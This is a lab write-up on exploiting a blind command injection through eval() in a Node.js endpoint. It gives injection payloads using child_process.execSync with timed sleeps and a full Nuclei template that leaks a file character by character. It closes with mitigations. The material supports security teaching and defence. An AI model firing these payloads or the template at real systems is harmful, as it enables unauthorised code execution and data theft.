Blind command injection: automating the exploit with Nuclei
How a blind command injection via eval() was exploited with a timing attack and automated end-to-end with a Nuclei template, from file detection to character-by-character extraction.

This is a writeup from a whitebox pentesting lab on Hack The Box. The goal was to extract the content of a file (flag.txt) sitting on the server through a command injection vulnerability that returned no direct output. No output means you can’t just read the result, so the attack has to lean entirely on a side channel: response timing.
The vulnerable code
The vulnerability sits in a function that takes user input and drops it into an object literal evaluated with eval().
app.post("/api/service/generate", authenticate, (req, res) => {
const { text } = req.body;
if (/["|;]/.test(text)) {
return res.status(400).json({ error: "invalid characters" });
}
try {
eval(`generateResponse({ text: '${text}' })`);
res.json({ status: "ok" });
} catch (err) {
res.status(500).json({ error: err.message });
}
});
Two things make this exploitable:
- The user input (
text) is concatenated directly into a string that’s then passed toeval(). - There’s a check that blocks
"and;, but the string built insideeval()is delimited with a single quote ('${text}'). The check never touches the one character that actually matters here. A blocklist that misses the delimiter isn’t a weak filter; it’s a filter that doesn’t apply to this code path at all.
Since the code runs inside Node.js, breaking out of the string gives access to child_process, and child_process gives access to the shell.
Attack strategy
The attack has three phases, each one built on the same primitive: trigger a sleep conditionally and measure whether the response was delayed. The payload for each phase closes the string and the surrounding call with '}), chains in a require('child_process').execSync(...) with +, then comments out whatever’s left of the original line with //.
1. Confirm the file exists
ls ./flag.txt && sleep 1
If the file exists, ls succeeds and the && triggers the sleep, the response takes measurably longer. If it doesn’t, ls fails, the sleep never runs, and the response comes back immediately. One boolean, encoded as latency.
2. Determine the exact file size
Before extracting content, you need to know how long the base64-encoded payload is, otherwise you don’t know when to stop iterating positions.
cat ./flag.txt | base64 | wc -c | { read len; if [ $len -eq 128 ]; then sleep 2; fi; }
Read the file, base64-encode it, count the characters, compare against a guessed size (128 here as an example). On a match, sleep 2 seconds. Iterate the guessed size from 1 upward until the response is delayed, that’s the exact base64 length.
3. Extract content one character at a time
With the size known, extract the base64 payload character by character.
cat ./flag.txt | base64 | head -c 45 | tail -c 1 | { read c; if [ "$c" = "Z" ]; then sleep 1; fi; }
Read the file, base64-encode it, take the first N characters, take the last character of that substring (so, the character at position N), compare it against a guessed character. On a match, sleep. Loop over every position, loop over every candidate character at each position, and the whole file gets rebuilt without the server ever returning a single byte of it directly.
Base64 matters here for a practical reason: raw file content can contain characters that break shell quoting or the string comparison itself. Base64 collapses the alphabet down to something safely comparable, at the cost of one decoding step at the end.
Automating it with Nuclei
Doing this by hand, one HTTP request per guessed character per position, is exactly the kind of repetitive work you hand off to a scanner. Nuclei’s flow templates (multi-request templates with a JavaScript-driven control flow) fit this well. Here’s the full template.
id: exploit-blind-command-injection-intro-to-whitebox-pentesting
info:
name: Blind Command Injection - Intro to Whitebox Pentesting
author: -
severity: high
variables:
chars: "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+=" // set of characters to brute-force base64
sleep: 1 // sleep time in seconds
filename: "./flag.txt" // file to brute-force
max_size: 1000 // max size of the file to brute-force
flow: |
// Check whether the request duration exceeds the sleep threshold
const isRequestSuccessful = (reqId) => parseInt(template[`http_${reqId}_duration`]) >= template["sleep"];
// Authentication check
if (!http(1)){
log("[+] Not authenticated")
exit()
}
log("[+] Authentication successful")
// Check whether the target file exists
if (http(2) && !isRequestSuccessful(2)) {
log("[+] File does not exist")
exit()
}
// Character set used to brute-force the flag
chars = template["chars"];
// Max file size to test against
const max_size = template["max_size"];
// Determine the actual file size by iterating over possible sizes
for (let i = 1; i <= max_size; i++) {
set("size", i);
http(3);
if (isRequestSuccessful(3)) {
break;
}
}
// Initialize an empty string for the flag
let output = "";
// Get the actual file size
const size = template["size"];
// Brute-force the file content character by character
let found = false;
for (let i = 1; i <= size; i++) {
set("count", i)
found = false;
// Try every character in the character set
for (char of chars) {
set("char", char)
http(4)
// If the character matches, append it to the output string
if (isRequestSuccessful(4)) {
output += char
set("output", output)
found = true;
break;
}
}
}
// Log the final flag
log(`[+] Flag: "${output}"`)
http:
- method: POST
path:
- "{{BaseURL}}/api/auth/authenticate"
headers:
Content-Type: application/json; charset=utf-8
body: |
{
"email": "foo@hackthebox.com"
}
extractors:
- type: json
name: auth_token
part: body
internal: true
json:
- ".token"
matchers-condition: and
matchers:
- type: status
status:
- 200
- raw:
- |
POST /api/service/generate HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{auth_token}}
Content-Type: application/json; charset=utf-8
{
"text": "'}) + require('child_process').execSync(' ls {{filename}} && sleep {{sleep}} ')//"
}
matchers:
- type: status
status:
- 403
- 500
- raw:
- |
POST /api/service/generate HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{auth_token}}
Content-Type: application/json; charset=utf-8
{
"text": "'}) + require('child_process').execSync('cat {{filename}} | base64 | wc -c | { read len; if [ $len -eq {{size}} ]; then sleep 2; fi; } ')//"
}
matchers:
- type: status
status:
- 403
- 500
- raw:
- |
POST /api/service/generate HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{auth_token}}
Content-Type: application/json; charset=utf-8
{
"text": "'}) + require('child_process').execSync('cat {{filename}} | base64 | head -c {{count}} | tail -c 1 | { read c; if [ \"$c\" = \"{{char}}\" ]; then sleep {{sleep}}; fi; }')//"
}
matchers:
- type: status
status:
- 403
- 500
A few things worth pointing out that aren’t obvious on a first read.
The matchers check for status 403 or 500, not the timing. That’s on purpose: the injected code always leaves the rest of the eval() call malformed once the trailing // comments out the closing syntax, so the endpoint reliably answers with an error status. Nuclei needs that match to consider the request valid and record its http_N_duration, but the actual signal the exploit cares about lives in that duration, checked separately by isRequestSuccessful() in the flow script.
The size-detection loop (http(3)) and the character loop (http(4)) share the same helper: a single line comparing template[\http_${reqId}_duration`]against the configuredsleepvalue. Everything downstream, stopping the size loop, breaking the character loop, appending tooutput`, depends on that one comparison.
The size-check payload hardcodes sleep 2 while the existence check and character check use {{sleep}} (default 1). That’s a deliberate gap: the size loop runs once per guessed size (up to max_size iterations), the character loop runs once per character per position (up to size * chars.length iterations), so giving the size check a slightly wider timing margin costs little in total runtime and buys a cleaner signal at a stage where a false negative means restarting the whole size search.
Execution flow
Put together, the template runs in four stages: authenticate, confirm the target file exists, determine its exact base64 length by iterating sizes until one produces a delay, then extract every character by iterating position and candidate the same way. The final log() prints the base64 string, which you decode locally to get the original file content.
Note: this is a blind attack from start to finish. At no point does the server return the file content directly. Every bit of information comes from how long the server took to answer, not from what it said.
Why this approach holds up
- Full automation. No manual step once the template runs, which matters when a position-by-character brute force means hundreds of requests.
- Precision. The timing threshold is a single, explicit comparison, so the signal is unambiguous once the sleep duration is tuned above normal response variance.
- Resilience. Base64 encoding sidesteps every character-encoding problem you’d otherwise hit trying to exfiltrate raw bytes through shell and JSON layers.
- Reusability. The same structure (auth, existence check, size loop, character loop, timing helper) works for any blind injection with a
sleep-capable execution primitive, not just this one lab. - Efficiency. The size-then-content approach avoids wasting requests on positions past the end of the file.
Mitigations
- Never call
eval()on anything derived from user input. There’s no sanitization strategy that makes this safe, the fix is removing the pattern, not hardening the blocklist around it. - Validate input against an allowlist, not a blocklist. A blocklist that checks for
"and;while the vulnerable code delimits its string with'is a filter protecting the wrong thing. An allowlist doesn’t have this failure mode, because it defines what’s permitted instead of guessing what’s dangerous. - Apply a strict Content Security Policy. It won’t stop server-side injection, but it limits blast radius if the same pattern exists on the client.
- Isolate any dynamic code execution in a sandboxed runtime. If a feature genuinely needs to evaluate expressions, it should run somewhere with no filesystem or process access, not in the main application process.
- Monitor for timing anomalies. A consistent, deliberate spread in response times on one endpoint is a signal worth alerting on, timing attacks are quiet on the wire but not invisible over enough requests.
Closing
Automating an attack with Nuclei isn’t just about speed; it’s about turning a fragile, manual technique into something repeatable and auditable. This case is a good example of why “no visible output” is not the same as “no data exposure”: a command injection with zero direct feedback still leaks a file byte by byte, as long as you can measure time.
Understanding the mechanics well enough to automate them is the actual skill here, the Nuclei template is just the last step.